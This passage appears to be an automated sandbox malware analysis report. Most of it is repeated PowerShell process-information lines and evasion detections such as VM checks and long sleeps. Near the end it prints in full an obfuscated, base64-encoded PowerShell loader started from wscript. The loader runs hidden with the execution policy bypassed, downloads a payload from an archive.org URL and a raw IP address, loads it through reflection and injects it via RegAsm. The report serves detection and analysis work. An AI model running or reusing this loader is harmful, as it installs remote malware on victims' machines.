Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Contains functionality to detect virtual machines (SLDT)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_00007FF886C39C29 sldt word ptr fs:[eax] 4_2_00007FF886C39C29
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1691 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1720 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4921 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4935 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7660 Thread sleep count: 4921 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656 Thread sleep count: 4935 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7708 Thread sleep time: -19369081277395017s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: powershell.exe, 00000004.00000002.1921857580.00000251EDE30000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell decode and execute
Source: Yara match File source: amsi64_7612.amsi.csv, type: OTHER
Bypasses PowerShell execution policy
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdeqzcnkyd1cmwgpsbrzicrj3nodhrwczovl2knkydhnjawmtawjysnlnvzjysnlmfyy2hpdmuub3jnlycrjzi0l2l0jysnzw1zl2rldgenkydolw5vdgutjysndi9ezxrhae4nkydvjysndgvwlnr4dgtmjysnczteqzdiyxnlnjrdb250zw50id0gjysnke5ldy1pymply3qgjysnu3lzdgvtlk5ljysndc5xzscrj2inkyddbgllbnqplicrj0rvd25sb2fku3ryaw4nkydnkerdn3vybcknkyc7jysnrem3ymluyxj5q29udgvudca9ifttexn0jysnzw0nkycuq29udmvydf06jysnokzybycrj21cyxnlnjrtdhjpbmcnkycorem3ymfzzty0q29udgvudck7rem3yxnzzw1ijysnbhknkycgpsbbuicrj2vmbgunkydjdglvbi5bjysnc3nlbwjsjysnev06okxvywqorem3jysnymlujysnyxj5qycrj29ujysndgvudcknkyc7rem3dhknkydwzscrjya9ierdn2fzc2vtymx5lkdldfr5cguoa2zzuicrj3vuuccrj0unkycusg9tjysnzwtmcyk7rem3jysnbscrj2v0ag9kjysnid0nkycgrem3dhlwjysnzscrjy4nkydhzxqnkydnzxqnkydob2qojysna2zzvicrj0enkydjaycrj2zzjysnktteqzdtzscrj3rob2qnkycusw52b2tlkerdjysnn251bgwsjysniftvymply3rbxv1akgsnkydmc3r4dc4nkydgrfinkydxlza2ns82jysnnteumdkxlicrjzk3lju0ly86chr0accrj2tmcyasigtmc2rlc2f0axzhzg9rznmglcbrznnkzxnhdgl2jysnywqnkydvaycrj2ynkydzjysniccrjywga2zzzgvzyxqnkydpjysndmfkbycrj2tmcyxrznmnkydszwdbc21rznmnkycsa2zzjysna2zzkscrjyknks5yrvbmqunfkchby2hbcl02octby2hbcl02nytby2hbcl01nsksw1nuuklor11by2hbcl0znikuckvqtefdrsgna2zzjyxbu1rssu5hxvtjaefyxtm5kxwgauvy';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('dc7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/detahn'+'o'+'tev.txtkf'+'s;dc7base64content = '+'(new-object '+'system.ne'+'t.we'+'b'+'client).'+'downloadstrin'+'g(dc7url)'+';'+'dc7binarycontent = [syst'+'em'+'.convert]:'+':fro'+'mbase64string'+'(dc7base64content);dc7assemb'+'ly'+' = [r'+'efle'+'ction.a'+'ssembl'+'y]::load(dc7'+'bin'+'aryc'+'on'+'tent)'+';dc7ty'+'pe'+' = dc7assembly.gettype(kfsr'+'unp'+'e'+'.hom'+'ekfs);dc7'+'m'+'ethod'+' ='+' dc7typ'+'e'+'.'+'get'+'met'+'hod('+'kfsv'+'a'+'ik'+'fs'+');dc7me'+'thod'+'.invoke(dc'+'7null,'+' [object[]]@(k'+'fstxt.'+'fdr'+'w/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'regasmkfs'+',kfs'+'kfs)'+')').replace(([char]68+[char]67+[char]55),[string][char]36).replace('kfs',[string][char]39)| iex"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdeqzcnkyd1cmwgpsbrzicrj3nodhrwczovl2knkydhnjawmtawjysnlnvzjysnlmfyy2hpdmuub3jnlycrjzi0l2l0jysnzw1zl2rldgenkydolw5vdgutjysndi9ezxrhae4nkydvjysndgvwlnr4dgtmjysnczteqzdiyxnlnjrdb250zw50id0gjysnke5ldy1pymply3qgjysnu3lzdgvtlk5ljysndc5xzscrj2inkyddbgllbnqplicrj0rvd25sb2fku3ryaw4nkydnkerdn3vybcknkyc7jysnrem3ymluyxj5q29udgvudca9ifttexn0jysnzw0nkycuq29udmvydf06jysnokzybycrj21cyxnlnjrtdhjpbmcnkycorem3ymfzzty0q29udgvudck7rem3yxnzzw1ijysnbhknkycgpsbbuicrj2vmbgunkydjdglvbi5bjysnc3nlbwjsjysnev06okxvywqorem3jysnymlujysnyxj5qycrj29ujysndgvudcknkyc7rem3dhknkydwzscrjya9ierdn2fzc2vtymx5lkdldfr5cguoa2zzuicrj3vuuccrj0unkycusg9tjysnzwtmcyk7rem3jysnbscrj2v0ag9kjysnid0nkycgrem3dhlwjysnzscrjy4nkydhzxqnkydnzxqnkydob2qojysna2zzvicrj0enkydjaycrj2zzjysnktteqzdtzscrj3rob2qnkycusw52b2tlkerdjysnn251bgwsjysniftvymply3rbxv1akgsnkydmc3r4dc4nkydgrfinkydxlza2ns82jysnnteumdkxlicrjzk3lju0ly86chr0accrj2tmcyasigtmc2rlc2f0axzhzg9rznmglcbrznnkzxnhdgl2jysnywqnkydvaycrj2ynkydzjysniccrjywga2zzzgvzyxqnkydpjysndmfkbycrj2tmcyxrznmnkydszwdbc21rznmnkycsa2zzjysna2zzkscrjyknks5yrvbmqunfkchby2hbcl02octby2hbcl02nytby2hbcl01nsksw1nuuklor11by2hbcl0znikuckvqtefdrsgna2zzjyxbu1rssu5hxvtjaefyxtm5kxwgauvy';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('dc7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/detahn'+'o'+'tev.txtkf'+'s;dc7base64content = '+'(new-object '+'system.ne'+'t.we'+'b'+'client).'+'downloadstrin'+'g(dc7url)'+';'+'dc7binarycontent = [syst'+'em'+'.convert]:'+':fro'+'mbase64string'+'(dc7base64content);dc7assemb'+'ly'+' = [r'+'efle'+'ction.a'+'ssembl'+'y]::load(dc7'+'bin'+'aryc'+'on'+'tent)'+';dc7ty'+'pe'+' = dc7assembly.gettype(kfsr'+'unp'+'e'+'.hom'+'ekfs);dc7'+'m'+'ethod'+' ='+' dc7typ'+'e'+'.'+'get'+'met'+'hod('+'kfsv'+'a'+'ik'+'fs'+');dc7me'+'thod'+'.invoke(dc'+'7null,'+' [object[]]@(k'+'fstxt.'+'fdr'+'w/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'regasmkfs'+',kfs'+'kfs)'+')').replace(([char]68+[char]67+[char]55),[string][char]36).replace('kfs',[string][char]39)| iex" Jump to behavior
Queries the volume information (name, serial number etc) of a device
